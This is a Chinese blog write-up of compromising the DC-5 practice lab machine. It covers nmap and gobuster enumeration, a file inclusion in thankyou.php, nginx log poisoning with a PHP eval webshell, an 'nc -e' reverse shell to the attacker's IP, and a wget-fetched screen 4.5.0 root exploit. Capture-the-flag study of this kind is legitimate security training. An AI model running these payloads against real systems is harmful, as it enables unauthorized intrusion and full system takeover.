dc-5打靶日记

1. nmap扫描

1.1 确认目标ip地址

1
sudo nmap -sN 192.168.31.0/24

为打开靶机状态下C端扫描结果

image-20240526172730481

打开靶机后再进行一次存活IP扫描从而确定靶机的ip地址;

image-20240526173213358

虽然不太清楚为什么ip:192.168.31.112多扫出那么多开放端口,但是多出来的ip地址确实是192.168.31.102,以及其mac地址的标识也充分证明了这个ip确实是我们的靶机

目标ip地址:192.168.31.102

1.2 目标开放TCP端口

1
sudo nmap -sT --min-rate 10000 -p- 192.168.31.102 -oA nmapscan/tcp-ports

image-20240526192429092

开放端口为:80,111,49249

1.3 目标开放UDP端口

1
sudo nmap -sU --top-ports 20 192.168.31.102 -oA nmapscan/udp-ports

image-20240526192546865

1.4 开放TCP端口详细信息

1
sudo nmap -sT -sV -sC -O -p80,111,49249 192.168.31.102 -oA nmapscan/tcpports-Details

image-20240526192949296

111端口不太熟悉,可以先不看,先看看80端口有什么突破口吗,49249不知道是啥端口,入手点比较少,考虑从80端口拿点信息先

111端口:rpcbind

80端口:http

49249端口:不知道开得啥

1.5 nmap漏洞扫描

1
sudo nmap -script=vuln -p80,111,49249 192.168.31.102 -oA nmapscan/vuln

image-20240526193406343

可以看到的是似乎存在csrf,但是其实并没有什么用就是啦;

2. 信息检索

2.1 网页访问80端口

image-20240526194414722

好吧,获得的信息就是没获得信息,目录爆破一下吧;唯一信息

nginx:1.6.2

2.2 gobuster目录爆破

1
sudo gobuster dir -u http://192.168.31.102 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

image-20240526194829762

ok,又啥也没有;不知道是不是字典的问题,换个工具爆破试试

使用dirseacher扫一下看看,有没有什么新目录

1
dirsearch -u http://192.168.31.102

image-20240529210339642

现在我们能够得到的目录信息有:

/contact.php

/faq.php

/footer.php

/css

/images/

/thankyou.php

2.3 获取网页信息

对上述我们进行目录爆破的网址进行逐一访问,观察其信息特点,发现其中几个目录分别对应了首页的几个控件:

image-20240529210933282

但是在访问footer.php时发现只有一个版权信息,似乎是页脚的意思

image-20240529211007914

然后对thankyou.php访问时,发现该网页包含了该footer.php文件,可以考虑文件包含进行测试

image-20240529211125345

尝试文件包含,访问网址

1
http://192.168.31.102/thankyou.php?file=/etc/passwd

image-20240529211319768

发现确实存在文件包含,使用burpsuite抓包分析一下。

3. getshell

由于nginx会将执行的命令记录下来并写入日志文件中,所以先读取一下nignx的配置信息,查看日志文件的位置

#nginx配置文件路径 /etc/nginx/nginx.conf

image-20240529212129146

#nginx日志文件路径

错误执行记录:/var/log/nginx/error.log

执行记录:/var/log/nginx/access.log

image-20240529212318470

尝试查看error.log文件,确实查看到了刚才我们无法执行的文件,那么我们可以通过写入php一句话木马进行连接,然后尝试获取连接;

1
<?php @eval($_POST['shell']); ?>

image-20240529212748956

发现确实存在我们写入的一句话木马,尝试使用蚁剑进行连接;

image-20240529212934291

ok,成功连接,文件包含确实存在,尝试将shell反弹到攻击机的终端

方法一:通过传入的一句话木马进行命令执行反弹shell;(上述传入的是post的一句话木马,故不太好进行命令执行,可以在传一个get方式传输的一句话木马,额,我没成功,不知道为啥)

方法二:直接通过蚁剑的虚拟终端执行nc -e /bin/bash <攻击者IP> <监听端口>即可;(这个成功了)

1
2
http://192.168.31.102/thankyou.php?file=<?php system($_GET['shell']);?>
http://192.168.31.102/thankyou.php?file=/var/log/nginx/error.log&shell=nc -e /bin/sh 192.168.31.221 5555

image-20240529214825413

image-20240529214858146

image-20240529214915864

成功连接,没关系,目的一致,达成就行,然后通过python指令开启一个互动式终端:

1
python -c "import pty;pty.spawn('/bin/bash')"

成功拿到一个用户级的shell,接下来考虑提权吧。

4. 提权

4.1 命令提权

尝试找找看是否存在可以利用的命令

1
find / -perm -u=s -type f 2>/dev/null

image-20240530145712633

可以尝试用来提权的命令有:mount、screen-4.5.0、exim4

先来尝试一下exim4吧,查看一下命令的版本

1
exim --version

image-20240530145953928

版本4.84_2,查看是否存在可利用的漏洞

image-20240530150120533

确实存在该版本的漏洞但是是_3的不是_2的,所以其并不可利用,放弃;

试试其他命令screen-4.5.0,已经标注版本,查看是否存在相应的漏洞

1
searchsploit screen 4.5.0

image-20240530150313842

一个POC,一个利用脚本

将利用脚本复制到当前目录

1
searchsploit -m 41154.sh

与dc-4一致,先启动web机的apache2服务,将利用脚本上传web,然后使用目标机下载该脚本执行

1
2
service apache2 start
cp 41154.sh /var/www/html/

然后来到目标机通过wget命令下载相应的提权脚本文件,由于目录权限的原因,一般到/tmp目录下执行脚本下载,然后给相应的脚本赋予可执行权限,再执行脚本

1
2
3
4
cd /tmp
wget http://192.168.31.221/41154.sh
chmod +x 41154.sh
./41154.sh

image-20240530151821713

image-20240530151838748

ok,成功拿到root权限,找到flag即可

1
find / -name *flag*

image-20240530151939434

这下是完美结束了,下班咯!

5. 总结

  1. 基础漏洞得会才行,不然都不知道从哪里获得webshell,还谈什么提权
  2. 命令提权有很有中方式不一定是直接通过命令执行,有时候也是通过命令本身的漏洞执行
  3. 目录爆破跟字典有关系,有些时候没爆破出东西,可能是字典不够大,换个工具或者换个字典都行

dc-5打靶日记
http://candyb0x.github.io/2024/05/30/dc-5打靶日记/
作者
Candy
发布于
2024年5月30日
更新于
2024年5月30日
许可协议